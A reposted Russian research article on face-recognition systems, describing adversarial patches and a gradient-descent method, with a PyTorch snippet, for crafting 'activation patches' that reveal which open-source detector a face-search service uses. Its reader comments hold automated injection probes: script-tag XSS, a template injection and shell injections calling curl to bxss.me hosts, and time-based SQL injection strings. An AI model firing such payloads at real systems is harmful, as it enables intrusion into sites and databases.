Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Ваше лицо кажется знакомым: разведка, анализ и методы атак на ML в системах распознавания лиц

Мы живем в мире, где системы распознавания лиц (далее — CРЛ) используются практически везде: от валидации возраста и биометрической идентификации в режиме онлайн до наблюдения и проведения оплаты в реальном мире. Технологические аспекты таких алгоритмов развиваются на наших глазах: начиная с простых систем, основанных на базовых алгоритмах, мы перешли к системам, использующим алгоритмы машинного обучения, однако и их развитие еще далеко от завершения.

9f560914bde673e94a32bd2dc6d32a6a.png

В предыдущих исследованиях мы затронули биометрическую идентификацию, и эта работа является логичным продолжением погружения в системы распознавания лиц и эксплуатацию их недостатков.

Для быстрой навигации по статье

Этическая сторона поиска по лицам

Важно отметить, что вся информация, которую используют упоминаемые в статье сервисы, получена из открытых источников. Это те данные, к которым люди сами предоставили доступ. Сервисы не могут использовать данные, полученные из нелегальных источников (например, в результате сливов или утечек).

Системы распознавания лиц

211b6e7a8b84bf5664111f64dab8ea13.png

Задача распознавания лиц декомпозируется на несколько подзадач, решаемых разными системами. Среди таких подзадач:

  • Обнаружение лиц (face detection).

  • Нормализация лица (face alignment).

  • Извлечение признаков (feature extraction).

  • Нахождение записи со схожим набором признаков (face matching).

  • Принятие финального решения (decision making).

Первый этап — обнаружение лиц.

На этом шаге алгоритм определяет, присутствует ли вообще человеческое лицо в представленных данных и где именно оно находится (исключаются все нерелевантные объекты). Эта задача может решаться с помощью алгоритмических подходов или нейронных сетей.

После обнаружения лица и выполнения предварительной обработки, включающей выравнивание лица и нормализацию параметров освещенности и контрастности, необходимо трансформировать лицо в математическое представление — в виде вектора признаков. Это второй этап. Такой вектор позволяет применять математические методы для сравнения лиц, определяя степень их сходства на основе расстояния между соответствующими векторами.

Современные подходы используют алгоритмы извлечения более широкого набора признаков (например, HOG, SIFT, SURF, ORB), а также применяют сверточные нейронные сети, которые на основе данных обучаются выявлять признаки человеческого лица. Подробнее о работе сверточных сетей можно прочитать по ссылке.

Такие подходы позволяют не только обнаружить лицо, но и создать уникальное представление его признаков в числовой форме. Далее полученный вектор признаков может применяться в разнообразных сценариях, включая идентификацию личности путем сопоставления с базой данных аналогичных векторов или поиск и сравнение лиц. В контексте применения в области распознавания лиц такие задачи могут включать определение человека на фотографии, аутентификацию пользователя в системе.

Стоит отметить принципиальную разницу между FR-системой, работающей онлайн, куда можно загружать цифровые фотографии и работать с системой как с сервисом через интернет, и офлайн, когда мы сталкиваемся с некоторой FR-системой в реальном мире (например, с системой видеонаблюдения или оплаты проезда в метро с помощью технологии распознавания лица). В онлайн-системах мы имеем дело с цифровыми данными, что позволяет нам точно контролировать корректировку отдельных пикселей на изображении. Это делает такие системы относительно более стабильными и предсказуемыми в плане обработки данных.

В то же время в офлайн-системах, требующих физического взаимодействия, возникают такие специфические проблемы, как нелинейное искажение изображений, тепловой шум камеры и точность цветопередачи. Эти факторы усложняют проведение атак на такие системы. Кроме того, испытания этих систем представляют собой отдельный вызов. В отличие от онлайн-систем, где возможно выполнить тысячи запросов в режиме черного ящика и быстро получить обратную связь, аналогичные эксперименты с офлайн-системами потребовали бы значительно больше времени.

В этом исследовании мы рассматривали онлайн-системы распознавания лиц на примере сервисов поиска по лицам.

Обзор сервисов поиска информации о людях по изображениям

Платформа «Глаз Бога»

Особенностью сервиса является взаимодействие через телеграм-бота, а для поиска по лицам требуется подписка. Сервис имеет много сценариев поиска публичной информации о людях, в частности нас интересует возможность поиска информации о человеке по его лицу.

3494ff29ac83191af196df25aad41285.png

Сервис PimEyes

Этот сервис поиска по лицам требует подписки для доступа к полной информации, однако данные о том, что сервис смог найти ваши фотографии, можно получить бесплатно.

1da11d22be8ffdb574427e2955372784.png

Сервис Search4faces

Большая часть доступных данных взята из социальной сети «ВКонтакте». Простой и прозрачный инструмент для поиска по лицам из открытых источников.

f3318f87704b2c3d9a89265eba2a64ad.png

Обзор возможных атак на системы распознавания лиц

ffabb2ae6c1e3a33b66ce7556a4417a9.png

Большинство потенциальных атак на системы распознавания направлены в первую очередь на компонент обнаружения лиц. Их также принято называть атаками на уклонение. В этом контексте выделяют две основные категории ошибок:

  • ошибка первого рода происходит, когда, несмотря на предъявление фотографии с лицом, системе не удается распознать его на изображении;

  • ошибка второго рода возникает, когда система ошибочно классифицирует какое-либо изображение как лицо, не являющееся таковым.

Помимо атаки на обнаружение, возможно проведение атак на экстракцию — когда алгоритм извлечения признаков выдает вектор представления, не отражающий реальных характеристик лица. Как следствие, система считает вас другим человеком (misclassification).

Намеренное внесение определенной информации с целью воздействия на систему, обрабатывающую эту информацию, называется патчем (adversarial patch). Для онлайн-систем изменения, вносимые в изображения, могут быть невидимыми или почти незаметными, в то время как для атак на офлайн-системы необходимо значительно корректировать изображения, так как нужно преодолеть искажения, вносимые реальным миром.

Схожие категории применимы к атакам на системы распознавания людей и других объектов.

  1. Патч для обмана сети VGG16.

aeeb1987f770c9ce1125b8f66c29306b.png
  1. Патч для обмана детектора YOLOv2.

eb25e26f266aafeda32e6bff8596a99f.png
  1. Другой патч для обмана детектора YOLOv2.

e2ee3d5c49a6581741a271b0da415d87.png

По схожему принципу строятся исследования по обходу систем распознавания лиц:

  1. Атака на Dlib HOG.

    Исследователи создали патч, который влияет на алгоритм HOG, заставляя его ошибочно распознавать патч как лицо и не распознавать само лицо за патчем.

534e7cce0d7b9ce8c606beb5eb4c4903.png
  1. Атака на Dlib CNN.

    В этом случае исследователь использовал открытый детектор лиц Dlib — mmod_human_face_detector.dat. Он трансформировал сеть из проприетарного формата Dlib в формат, совместимый с PyTorch. Затем был выбран слой сети, максимизация активации которого представляла интерес. Используя центральный пиксель выхода фильтра как функцию потерь, исследователь вычислял градиенты и модифицировал изображение, вводя случайные вращения и повороты. Этот подход позволил создать изображения, максимально активирующие определенные слои сети.

Примеры образцов, полученных исследователем
Примеры образцов, полученных исследователем

Это исследование демонстрирует возможности использования ошибки второго рода.

  1. Работа исследователей из «Сколково», которые создали патчи, способные обходить алгоритмы детектирования лиц, использующие сеть MTCNN.

Фото исследователей без патча
Фото исследователей без патча
Фото с патчем
Фото с патчем

Эти исследования покрывают самые популярные технологии распознавания лиц.

Обнаруженные закономерности

Большую часть рассматриваемых нами атак можно осуществить по принципу белого ящика — когда атакующему доступна полная информация о системе. В реальном же мире практически все системы представляют собой черный ящик. Без наличия исходного кода и обратной связи сложность атак существенно возрастает.

Сверточные нейронные сети обучаются выявлять определенные визуальные паттерны, если атакующий точно понимает, какие признаки ищет нейросеть, он может использовать это. С этой целью используются алгоритмы машинного обучения, например для генерации состязательных примеров (adversarial examples). В этом случае одна нейросеть пытается обмануть другую. Наконец, все атаки имеют конкретную цель. Метод, успешно применяемый против одной сети, не будет работать против другой.

Заметив эти закономерности, мы сформулировали вопрос: а можно ли использовать предложенные патчи для определения того, применяют ли сервисы по распознаванию лиц какие-либо из вышеперечисленных алгоритмов? И если нет, то можно ли такие патчи создать?

Активационные патчи

Напомним, что в контексте тестирования FR-систем бывает довольно сложно быстро получить доступ к внутреннему алгоритму, который производит обработку входящих данных пользователя (если это вообще предусмотрено сервисом). Если система активна и доступна, то можно провести несколько экспериментов и быстро получить ответ от целевой системы. Было бы удобно, если бы у нас был инструмент, который позволил бы быстро просканировать систему на предмет использования популярных алгоритмов и примерно локализовал бы технологический стек. Например, прогоняя некоторый набор картинок через сервис или устройство и получая его реакцию, можно было бы достоверно определить, какой алгоритм используется для обнаружения лиц или экстракции признаков.

Если выясняется, что сервис использует определенные опенсорсные инструменты, то можно подготовить патчи для любого типа атаки, будь то уклонение (сеть вас не находит) или ошибочная классификация (вас классифицируют как другого человека), так как фактически у вас на руках появляется точное представление о той модели, которая используется, а зачастую даже сама модель.

Активационный патч — информационное возмущение (изображение), вызывающее срабатывание детектора, что помогает идентифицировать определенные алгоритмы, модели, системы методом черного ящика.

Создание тестовой системы обнаружения лиц

Перед тем как мы продолжим, необходимо собрать свой конвейер (pipeline) для проверки и валидации гипотез. Принцип его работы достаточно прост: мы загружаем необходимые алгоритмы распознавания лиц и последовательно проверяем нужные нам фотографии, пытаясь обнаружить на них лицо, и выделяем границы вокруг лица, если оно было обнаружено:

- dlib.get_frontal_face_detector() — HOG;
- pytorch_mtcnn(keep_all=True, device="cpu");
- tensorflow_MTCNN();
- dlib.cnn_face_detection_model_v1("mmod_human_face_detector.dat").

Результаты работы алгоритма обнаружения лиц
Результаты работы алгоритма обнаружения лиц

Используем существующие подходы для решения задачи

  1. Исследование Dlib HOG для создания активационного патча

Фотография исследователя с патчем
Фотография исследователя с патчем

Чтобы узнать, как работает этот алгоритм, можно прочитать статью. Нам важно понять, используется ли HOG в описанных сервисах. Для этого можно взять визуализированный дескриптор лица из статьи и проверить его в нашем pipeline и в доступных сервисах.

Успешное обнаружение HOG
Успешное обнаружение HOG

Патч приводит к однозначной активации только одной системы и не приводит к активации других.

Проведем тесты во внешних системах.

Сервис

Результат проверки

«Глаз Бога»

False

Search4faces

False

PimEyes

False

  1. Исследование Dlib CNN для создания активационного патча

Проверим, как пройдут образцы, полученные исследователем, через наш pipeline.

7b25a1522b2579d50505c62d57532c63.png

Сразу видно, что эта работа вызывает много ошибок первого и второго рода: где-то галлюцинирующие лица определяются многими системами, где-то — ни одной. То же самое и с публичными сервисами.

Search4faces обнаружил лицо
Search4faces обнаружил лицо
«Глаз Бога» обнаружил лицо
«Глаз Бога» обнаружил лицо
PimEyes не обнаружил лиц
PimEyes не обнаружил лиц

Сервис

Результат проверки

«Глаз Бога»

True

Search4faces

True

PimEyes

False

  1. Исследование MTCNN для создания активационного патча

Возьмем оригинальные футажи исследователей и проведем их через наш pipeline обнаружения лиц.

45ec1af9a52459fbfa7787eedb4d0b68.png

Заметим, что ни один алгоритм в нашей тестовой системе не обнаруживает лицо. Можно сделать предположение о том, что работают не патчи, а простое перекрытие черт лица, важных для обнаружения.

Пробуем проверить наблюдение, взяв патчи из GitHub.

Неоднозначные результаты
Неоднозначные результаты

Видно, что простое перекрытие определенных зон уже приводит к тому, что все три детектора не могут верно определить область лица. Однако в том случае, когда изображение слишком маленькое, все детекторы обнаруживают лицо.

Проведем тестирование оригинальных фотографий с помощью сервисов.

Сервис

Результат проверки

«Глаз Бога»

False

Search4faces

False

PimEyes

True

Рефлексия

Эксперименты с использованием готовых работ показали, что:

  1. Несмотря на то что патчи создаются для активации или обхода конкретных систем, они не всегда позволяют выделить эти системы в ряду других. Например, галлюцинирующие лица могут определяться «Глазом Бога» и Search4faces на основании того, что изображения действительно очень похожи на лица. В то же время патчи для MTCNN позволяют обходить обнаружение во множестве сервисов из-за того, что они перекрывают половину лица.

  2. Не совсем корректно называть все патчи активационными. Патч для MTCNN, несмотря на то что его можно использовать для идентификации MTCNN, не активирует детектор, а подавляет его активацию.

Создаем активационные патчи

Создание активационного патча для Dlib MMOD CNN

Наша задача — создать изображение, которое приведет к активации детектора Dlib. Он имеет широкое распространение, в частности используется фреймворком face_recognition.

Шаг № 1. Загрузка модели

Для начала нам нужна возможность выполнять математические операции с моделью. У Dlib есть свой формат хранения моделей, но также есть возможность (благодаря этому энтузиасту) загрузить модель в PyTorch и выполнять с ней любые действия, в частности применять прямой и обратный проход.

Прямой проход (forward pass) — данные (в нашем случае изображение) подаются на входной слой сети, в скрытых слоях выполняются все математические расчеты, в конце выводится результат обработки данных — область, где обнаружено лицо.

Обратный проход (backward pass) — наличие функции потерь (MSE) позволяет оценить вклад каждого входного параметра в результат, полученный из модели, относительно определенного правила (функции потерь). Если быть более точным, то вычисляются градиенты функции потерь по отношению к весам слоев — от выходного к входному. Этот процесс использует цепное правило дифференцирования, позволяя вычислить влияние каждого веса на конечную ошибку.

После загрузки модели в PyTorch мы можем выполнять прямой и обратный проходы, а значит, можем быстро и очень точно, используя градиентный спуск, подобрать уникальный паттерн, который будет восприниматься моделью как лицо.

Шаг № 2. Алгоритм создания патча

У нас есть сеть, и мы бы хотели создать уникальный узор, который будет определяться детектором как лицо, но при этом им являться не будет. Возьмем референсную картинку и выполним прямой проход через модель, запомним выход и визуализируем его.

Референсное изображение и отклик модели
Референсное изображение и отклик модели

Нам нужно сгенерировать такое возмущение, которое давало бы похожий на лицо отклик.

Картинка с вопросом и отклик модели
Картинка с вопросом и отклик модели

Принцип создания патча для этой модели заключается в проведении через нее референсной фотографии, на которой есть лицо; в запоминании выхода (output); далее, используя функцию потерь (MSE) и градиентный спуск, из шума мы генерируем картинку, которая при прохождении через сеть создаст максимально похожий на настоящее лицо отклик, при этом визуально входные данные не будут являться лицом.

Схема атаки
Схема атаки
Гифка создания картинки
Гифка создания картинки
График функции потерь
График функции потерь

Обратите внимание, что остановить алгоритм лучше сразу же после первых срабатываний оригинальной модели: чем больше количество итераций оптимизации, тем выше вероятность срабатывания других моделей. Мы не очень заинтересованы в создании галлюцинирующих лиц, поэтому учтем эту особенность.

Применять такой алгоритм можно к любой модели и системе, в которой можно рассчитать градиент ошибки по вычислительному графу. Таким образом, под каждый детектор можно сделать патч, который позволит его обнаружить (при условии, что детектор может быть загружен во фреймворк глубокого обучения).

Технологий много, но мы ограничимся самыми популярными опенсорсными решениями для распознавания лиц.

Шаг № 3. Тесты

Проверим работоспособность патча на реальной модели без преобразования в среде PyTorch. Для этого проведем проверку в нашем pipeline.

Тестирование образцов на реальной фотографии
Тестирование образцов на реальной фотографии
Тестирование при частичном перекрытии лица
Тестирование при частичном перекрытии лица

Патч успешно привлекает к себе только модель, для которой и был изготовлен, другие же детекторы на него не реагируют. Эта особенность и отличает наш патч от галлюцинирующий лиц, на которые срабатывали все детекторы.

При определенном наложении патча можно скрывать основное лицо, как это было с HOG, но подобное использование требует модификации технологии, наша же задача — обнаружить.

Сервис

Результат проверки

«Глаз Бога»

False

Search4faces

False

PimEyes

False

Можно сделать вывод, что сервисы не используют модель MMOD из Dlib для обнаружения лиц. Патчи работают для конкретной модели, если переобучить ее с нуля, результат будет другим.

Создание активационного патча для MTCNN

MTCNN, или multi-task cascaded convolutional networks, — это метод для обнаружения лиц, который использует каскад сверточных нейронных сетей для последовательного выполнения нескольких задач.

Система работает в три этапа, каждый из которых использует отдельную сверточную сеть, специализирующуюся на разных аспектах задачи:

  1. P-Net (proposal network) — первая сеть, отвечающая за предложение кандидатов на лица в изображении, выполняющая быстрый поиск по всему изображению и создающая квадратные области, которые могут содержать лица.

  2. R-Net (refinement network) — вторая сеть, которая уточняет предложения, отсеивая большинство ложных срабатываний и уточняя позиционирование лиц на изображении для последующей точной обработки.

  3. O-Net (output network) — третья сеть, которая выполняет окончательное уточнение позиций обнаруженных лиц и одновременно работает над распознаванием ключевых точек лица (глаз, носа, рта).

Эти три этапа объединяются в эффективный инструмент, способный с высокой точностью распознавать лица на изображениях разного качества и при различных условиях освещения. Кроме того, MTCNN может работать в режиме реального времени, что делает этот метод популярным и позволяет применять его в широком спектре задач. Хорошо бы иметь активационный патч для этой архитектуры сети. Эта задача, конечно, сложнее, чем было с Dlib, однако общие концепты остаются прежними.

Создание патча для P-Net

MTCNN имеет более сложную структуру, поэтому нужно погрузиться во внутреннее устройство сети для проведения атаки. Уже не получится просто запомнить выходы и повторить их. Для нашего эксперимента возьмем самую распространенную реализацию MTCNN на PyTorch — from facenet_pytorch import MTCNN.

Необходимо пошагово проследить, как проходит обработка фотографии внутри сети. Первое, что сделает сеть, — это построит пирамиду, где картинка будет преобразована в ряд картинок меньшего размера.

Это нужно для того, чтобы одна и та же сеть смогла найти как большие, так и маленькие лица на одной фотографии.

Фото взято из статьи
Фото взято из статьи

Далее эта группа из фотографий разного масштаба направляется в первую сеть — P-Net.

P-Net пройдется по всем фотографиям и выдаст зоны, где может находиться лицо. Если мы их визуализируем, то увидим следующее.

400d9840d6fe2fd5f4dac4fee6879abe.png

Название файла указывает на то, с каким масштабным коэффициентом было выполнено преобразование.

Возьмем референсную фотографию.

4ace361088f448069950924aafc8a5da.png

Карта активации P-Net будет следующая.

35ca43883ecb719526ee79260408a3b8.png

Сохраняем эти данные в отдельный файл, также сохраняем значение масштабных коэффициентов — все это потребуется при создании патча.

Нам пришлось немного пропатчить библиотеку для перехвата нескольких параметров.

Что нам пригодится:

  • Выходы P-Net.

  • Значения масштабных коэффициентов.

  • Финальная область обнаруженного лица.

  • Ключевые точки обнаруженного лица (keypoints).

Заметим, что референсная картинка служит только для моделирования желаемого отклика от сети и может быть любым образцом, на котором сеть распознает лицо.

Далее загрузим только одну сеть P-Net и напишем простую функцию оптимизации, целью которой будет генерация максимально похожего отклика на то, что нами уже было успешно перехвачено. Затем нужно будет создать картинку из случайного набора пикселей, которая в процессе оптимизации и станет патчем.

Напомним, что наша задача — сделать так, чтобы результат, который выдаст нейросеть и который она будет считать настоящим лицом, таковым не являлся.

Функция для обхода первой сети выглядит следующим образом.

```python
#P net optimization step  
for count, scale in enumerate(scales):  
 
    input_resampled = imresample(input, (int(N * scale + 1), int(N * scale + 1)))  
    reg, probs = mtcnn.pnet(input_resampled)  
    iter_pnet_loss = loss_pnet(probs[:, 1], outputs_model[count][:, 1])  
    history_loss_pnet[count].append(float(iter_pnet_loss))  
    pbar.set_description(f"Loss {scale} - {history_loss_pnet[-1]}")  
    iter_pnet_loss.backward()  

    # Gradient normalization
    grad_cpu = input.grad  
    grad_cpu = grad_cpu / torch.norm(grad_cpu, 2)  
    lr = 2  
    input = input.clone().detach() - lr * grad_cpu  
    input.requires_grad = True
```

Необходимо уменьшить изображение (патч) в соответствии с масштабными коэффициентами, которые были перехвачены во время пропуска референсного изображения лица через сеть. Далее нужно выполнить прямой проход в P-Net, а после — посчитать ошибку, которая состоит из среднеквадратичного отклонения между перехваченными ранее откликами и полученными в результате прямого прохода данными в контексте каждого конкретного масштаба. Затем необходимо выполнить обратный проход, посчитать градиенты и идти в противоположном направлении, уменьшая MSE (то есть делая выход сети максимально похожим на то, что было перехвачено ранее). Получили следующий патч.

Созданный патч
Созданный патч

Теперь нужно посмотреть, насколько отклик нашего патча похож на оригинал. На рисунке представлено оригинальное лицо с обведенными зонами (которые называются кандидатами на лицо и впоследствии идут в R-Net).

Активации P-Net с использованием референсного лица
Активации P-Net с использованием референсного лица
Активации P-Net созданным патчем
Активации P-Net созданным патчем

Данные очень похожи, что также можно видеть по уменьшению показателя функции потерь.

c114a1dfeff92ee7779e06461d6e87e0.png

Теперь у нас есть патч, который вызывает отклик, будто на изображении присутствует оригинальное лицо, при этом его там нет. Выделяются первичные кандидаты на лица, обводятся зоны, которые будут переданы в R-Net для оценки того, насколько они похожи лица. Мы обошли первую сеть.

4a5ac60a7dd777d651e424c5f1309273.png

Необходимо понимать, что патч должен одномоментно учитывать особенности всех сетей, его изменение только для прохождения R-Net необратимо приведет к изменению отклика P-Net.

Стоит поговорить о других двух сетях.

R-Net, O-Net

R-Net занимается только оценкой выбранных кандидатов (фотографий, полученных после P-Net). Происходит проверка того, насколько в этой зоне действительно находится лицо. Сперва был выбран подход, согласно которому нужно было оптимизировать каждого кандидата. То есть в каждой области через градиентный спуск необходимо было максимизировать уверенность сети в каждом кандидате, но это, конечно, меняет картинку, и P-Net уже не выберет на следующем этапе оптимизации эту зону как кандидата на лицо. Что же делать?

Решение довольно простое: необходимо выполнить прямой проход референсного лица через все три сети и сохранить финальное решение MTCNN о том, где находится лицо (то есть финальный выход работы детектора).

ecffdd407fde8bd7b566954e27ef3ba0.png

Теперь используем только ту область при оптимизации, которая выделена на фотографии выше, потому что именно в этой зоне должно быть лицо (по результатам работы детектора). Используя градиентный спуск, необходимо объяснить это сперва R-Net, делая так, чтобы вероятность оценки в этой зоне была приближена к единице, и то же самое нужно сделать с O-Net.

Таким образом, чтобы создать патч, нужно выполнить несколько шагов:

  1. Инициализировать случайное изображение, которое будет изменяться в ходе оптимизации.

  2. Пропустить изображение через сеть P-Net со всеми изменениями размеров (forward pass).

  3. Посчитать MSE loss относительно перехваченных заранее откликов от референсного изображения.

На этом этапе появляется группа кандидатов на лица для проверки в R-Net. Их отвергаем и предлагаем своего кандидата, причем единственного. Это именно та область, где точно есть лицо, она же финальная область, которую мы получили от сети в ответ на референсную фотографию.

  1. Повысить уверенность R-Net в том, что в определенной области точно присутствует лицо, минимизируя MSE между выходом сети и единицей (так как единица — максимальная уверенность), рассчитывая градиенты относительно этой ошибки, и внести изменение в изображение.

  2. Сделать то же самое с O-Net.

Все это нужно будет повторить несколько раз, пока оценки функций потерь не достигнут минимальных значений.

Схема одной итерации оптимизации
Схема одной итерации оптимизации
График функции потерь
График функции потерь

На графике виден loss по всем масштабным коэффициентам P-Net и ошибки O-Net и R-Net.

Получаем вот такой патч.

Патч для MTCNN
Патч для MTCNN
Активация P-Net с использованием патча
Активация P-Net с использованием патча

Сразу же выполняем тесты в нашей системе. Была использована имплементация MTCNN в PyTorch и TensorFlow.

Проверка патча в тестовой системе
Проверка патча в тестовой системе

К сожалению, патч не работает ни в одном публичном сервисе, который мы тестировали.

Сервис

Результат проверки

«Глаз Бога»

False

Search4faces

False

PimEyes

False

Yandex Vision

False

Отметим, что инференс этой модели на OpenCV на С++ тоже срабатывает на этот патч, это может означать, что там используется та же модель, под которую мы готовили патч, только преобразованная и загруженная абсолютно другой вычислительной средой.

Тестирование патча, инференс на С++
Тестирование патча, инференс на С++

Заключение

Мы разработали метод, позволяющий идентифицировать алгоритмы машинного обучения, используемые в системах распознавания лиц, даже если эти системы являются черным ящиком. Наш подход основан на создании активационных патчей, которые, взаимодействуя с системой, позволяют определить по их реакции используемые технологии. Мы изготовили патчи для популярных алгоритмов обнаружения лиц, и эти патчи могут быть применены в исследовательских и практических целях.

Патч HOG
Патч HOG
Патч для модели MMOD Dlib
Патч для модели MMOD Dlib
Патч MTCNN
Патч MTCNN

Фото Патчей.png — вот готовые патчи. Берите и используйте.

Больше вариантов — в репозитории на GitHub.

Главный вопрос: если активационные патчи действительно работают, то почему мы не смогли обнаружить ни одну систему методом черного ящика? Ответ довольно очевиден: тестируемые нами сервисы не используют опенсорс, а именно конкретные имплементации моделей, которые были рассмотрены в этом исследовании.

Результаты могут заинтересовать:

  1. Исследователей, белых хакеров.

В работе был продемонстрирован общий алгоритм создания активационного патча. Этот алгоритм позволит любому человеку создать такой патч при наличии доступа к модели. Отдельный интерес представляет создание патча методом черного ящика, то есть на основе анализа ответов на запросы. Однако эта тема выходит за рамки нашей статьи.

  1. Разработчиков.

Крайне интересный вопрос, вытекающий из исследования, — это способы защиты от подобных атак. Мы попробовали несколько методов и получили разные результаты:

  • Наложение случайного шума на изображение. Гипотеза заключалась в том, что наложение случайного шума должно нарушить обнаружение лица на активационном патче, но не нарушит на обычном лице. Но при добавлении 5% гауссового шума патчи для MTCNN сохраняли свою работоспособность.

  • Обучение модели с нуля. Вероятно, обучение модели с весами, отличными от представленных в опенсорсе, позволяет достичь того же эффекта — сгенерированные для оригинальной модели активационные патчи перестают работать.

  1. Простых пользователей.

Главный совет, который можно дать, опираясь на результаты исследования: будьте сознательны, предоставляя доступ к своим данным, алгоритмы обработки информации очень быстро меняются, и непонятно, какую информацию люди научатся извлекать из данных в будущем и к каким последствиям это может привести.

  1. Активистов гражданских свобод, проповедников анонимности.

Одним из интересных выводов этой работы стало создание термина этичный ML. Идея заключается в создании нового подхода к разработке систем распознавания лиц — встраивании в процесс обработки данных опенсорсного компонента, задача которого — обнаруживать фотографии с определенным визуальным паттерном (патчем) и отказывать в обработке таких изображений.

Отказ от куки, несогласие с политикой обработки данных на сайтах, право на забвение — ряд этих механизмов, которые были введены ФЗ «О персональных данных» и GDPR, может дополнить и новый подход к разработке систем распознавания лиц.

Преимуществами такого стандарта были бы:

  • Независимость от основной системы распознавания лиц.

Так как это отдельный компонент, его можно легко интегрировать с различными системами без изменения их основного набора функций.

  • Уважение к личной конфиденциальности.

Этот подход позволяет людям активно управлять своей конфиденциальностью, поскольку пользователи в таком случае прямо могут указывать, что они не хотят быть распознаны.

  • Простота реализации и обновления.

Поскольку это отдельный компонент, его легче обновлять и адаптировать под новые типы паттернов или изменения в стандартах о защите конфиденциальных данных.

  • Соответствие этическим стандартам.

Такой подход позволяет компаниям и организациям соблюдать этические стандарты, связанные с защитой личных и конфиденциальных данных.

  • С помощью патча можно проверить, следует ли определенный сервис стандартам этичного ML.

Спасибо, что дочитали до конца :)

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

